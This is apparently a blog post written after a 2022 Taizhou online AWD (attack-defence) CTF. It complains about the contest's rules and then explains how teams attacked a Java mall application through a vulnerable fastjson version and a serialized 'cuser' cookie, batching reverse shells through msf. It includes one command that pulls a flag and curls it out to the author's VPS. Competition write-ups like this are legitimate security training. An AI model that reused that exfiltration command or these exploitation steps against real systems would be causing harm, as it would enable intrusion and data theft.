赛制
比赛时间:4个小时,10分钟一轮,共24轮,无加固时间 计分规则:攻陷其他队伍服务器一次加10分,被其他队伍攻陷扣15分,check不通过扣100分,起始分5000分 赛题:一个Java、一个PHP(参赛说明并没有说,比赛的时候才知道)
吐槽
有以下几个点:
-
作为一个AWD比赛,没有加固时间,离谱
-
比赛check写的稀烂,赛后有部分参赛选手表示删站check都能过
-
因为没有加固时间,所以选手需要抢时间去维护机器和代审,比赛一共是需要维护两台机器,一个Java一个PHP,其中PHP算是AWD中的常客了,除了check有点离谱之外没有什么好说的。另外说说Java,因为Java并不像PHP那样,直接修改PHP文件就能完成加固,Java的题还需要选手手动修改并部署war包,还需要执行restart.sh脚本才能重启服务,并且加固给的SSH是物理机的ctf用户权限,而网站是部署在Docker里的,题目设计的本意是好的,但是没给加固时间且每轮的时间非常短暂,只有10分钟,所以直到最后排名稳定下来我才了解到整道题的意图
-
正因为check写的稀烂,所以攻和防两方面,选择攻击的效益是最高的,而防守方面,大多数队伍估计只修复了PHP题中最明显的后门以及CMS的弱口令等
-
开局后flagserver还变动,只在比赛平台中悄咪咪放了一个公告,所以在审到漏洞写好脚本准备批量打的时候有点迷
-
由于是线上比赛,给的IP端都是不连续的,这在一定程度上考验了选手编写脚本的能力,但是在比赛过程中却变动部分IP,所以选手还需要手动diff不同的IP,而且变动了两次
-
比赛规则说不能删站,不能上通防waf,违者扣分甚至取消比赛资格,实际上呢,到处都是通防waf
-
最后,也是我觉得整个赛制中最离谱的,参赛队伍竟然每台机器可以不扣分重置三次,这很不合理,通常线下比赛AWD想要重置机器需要参赛选手签字并且扣除一部分分值,毕竟自己把站修垮了,还可以免扣分重置,且重置还需要一部分时间,对于10分钟一轮频率比较高的赛制,既然重置不扣分,那干脆在新的一轮刷新的时候重置机器,这样其他队伍岂不是在重置那段时间打不到了
针对Java题做解析
一开始其实并没有看Java题,因为考虑到大家应该都是先审PHP,先打PHP,所以还是先看PHP,在打了几轮之后,该修的修了,该打的打了,就得去想办法审点Java的洞打一打拉开分差,毕竟AWD在经过几轮之后分差相对固定,此时除非别人check过不了或者自己审出了新漏洞,否则几乎拉不进名次 这次给的Java题大概环境如下:
-
ssh上去是一个ctf宿主机用户,权限不高,没法提权,存在Docker相关命令但是权限不够
-
ctf用户能操作的就是部署war包并且重启服务
-
题目给了一个ROOT.war,里面是一个小米商城管理系统
因为是第一次在AWD里碰到Java,所以一开始也是挺迷茫的,不过还是直接下载了ROOT.war 抱着侥幸心理用D盾扫描了一下war包里的源码,还算有点收获:
-
在pojo中的User实体类存在readObject,并且这里直接把password作为命令来执行
那其实截止目前就有两种思路:
-
找哪里调用了这个readObject,看看传入的输入流是否可控,如果可控并且有依赖直接打依赖的反序列化就可以
-
找password在哪里可控,如果是注册的时候可控,直接在password里命令执行即可
然而,由于每一轮只有十分钟,所以并没有沉下心去审计上面两点,而是直接转头去看pom依赖,由于pom依赖不好截图,这里直接截lib目录下图了:
-
CC3和CC4依赖
-
fastjson1.2.15
-
ROME
-
snakeyaml
只能说是要素非常齐全了,基本上常见的利用链都能打,在比赛过程中我第一眼看到的是fastjson,毕竟CC、ROME、snakeyaml在我的理解中还只算是gadget,如果没有反序列化入口就没法打,而fastjson利用的点就比较多了,基本上低版本的fastjson,只要用了fastjson都能打,而且也不用找入口,随便操作一下抓两个包,看到JSON格式的直接打就行 比赛中用的包是登录包,对应的路由是/user/email/ajax/check,由于这里的fastjson版本非常低,所以就用了1.2.24的payload
当然,打也是能打,如果是平常的CTF,一般发现存在漏洞,打通反弹shell就完事了 不过在AWD中,想要批量反弹shell其实是非常复杂的,所以最终的解决方案是:队友开一个msf,我一个个弹过去,如下图所示,基本上大家都没修,除了有几台机器打不开,正常的基本都能打
msf上线之后,就批量执行命令拿flag,当然,上线也花了二十来分钟,也就是说至少两轮的分数白给了 那为什么不想想其他办法呢?或者换个思路? 其实是因为比赛过程中比较仓促,想到用msf上线一次后就能批量执行,就用msf了,没有考虑其他更优的方法 赛后,和大哥们交流了一下,其中第二名的师傅用的是BCEL回显的方式,有了回显之后其实就非常方便了,写个脚本就完事,不用像我这个傻逼一样一边开着marshalsec、HTTPServer、nc去弹:
-
https://github.com/depycode/fastjson-local-echo
当然,最前面我用了D盾扫描,扫描到了一个用Runtime命令执行的点,不过用fastjson打的话并没有用到这个点,那如何用呢? 其实想用这个点就需要做一点审计工作了,在审计之前其实需要搭建环境,一开始没摸着头脑,直接拿sublime审,比赛过程中也不想去学习如何用IDEA审计war包中的内容(时间就是分数),当然现在会了(这里就不赘述了) 如果想要直接找哪里调用了这个readObject,通常会直接用find usages功能去找
可惜可惜,直接就是找不到
但是找不到不代表没有,找不到的原因是在传输的时候做了强制类型转换,而笨比IDEA是找不到这样的用法的 那咋办,那就直接搜索字符串,由于代码量也比较小,所以最终搜素出来的结果也只有一个:
-
入口点其实就在Cookie的cuser中
那比赛中没有那么多时间去搭建环境并审计可怎么办呢? 那就十分吃Java经验了: 比较细心的同学可能会在抓包的时候发现Cookie中就含有cuser字样,并且是以rO0ABXA=打头的,常打CTF的Java题应该都知道,这其实就是序列化字符经过base64编码之后的字样,通常CTF都会设计一个反序列化入口,需要选手传入Base64之后的序列化字符,而这样的Payload一般就以rO0ABXA=打头
所以即使不搭建环境审计代码,细心一点也能发现反序列化入口 针对这套题的漏洞分析就这么多,那么讲讲如何批量打,毕竟有漏洞不会刷分就是憨批(是我): 来自Xux师傅的方法,反序列化打cuser,命令执行的点就不弹shell了,直接curl命令外带即可:
-
43.136.168.189是flagserver
-
把curl执行出来的flag给flag环境变量,然后curl外带到自己的服务器
flag=`curl http://43.136.168.189/index.php?token=3665_USR-20221125-6uv1t`;curl vps:2333?flag=$flag
当然为了实现自动化,Xux师傅在vps上写了一个flask用于循环接收flag,只能说TQL 好,最后小结一下,目前以下几个漏洞点以及打法:
-
和打靶机一样,打fastjson,一个个弹shell,弹shell之后上线msf,批量执行拿flag(弊端:一开始上线费时间,需要十来分钟一个个打)
-
fastjson反序列化回显(最优的选择,写脚本也很方便)
-
把cuser作为反序列化入口打CC、ROME等利用链(需要外带flag,写脚本也能写,就是有点复杂,需要较强的脚本编写能力)
-
打pojo中的Runtime(因为赛后复现就只弄了个war包起了基本环境,比赛过程中好像是有数据库的,应该可以通过注册用户,然后在密码里面写命令来执行代码,不大确定)
如何防御?
都没check防个毛,直接删站保平安
原文始发于微信公众号(7coinSec):2022台州市赛线上AWD赛后小记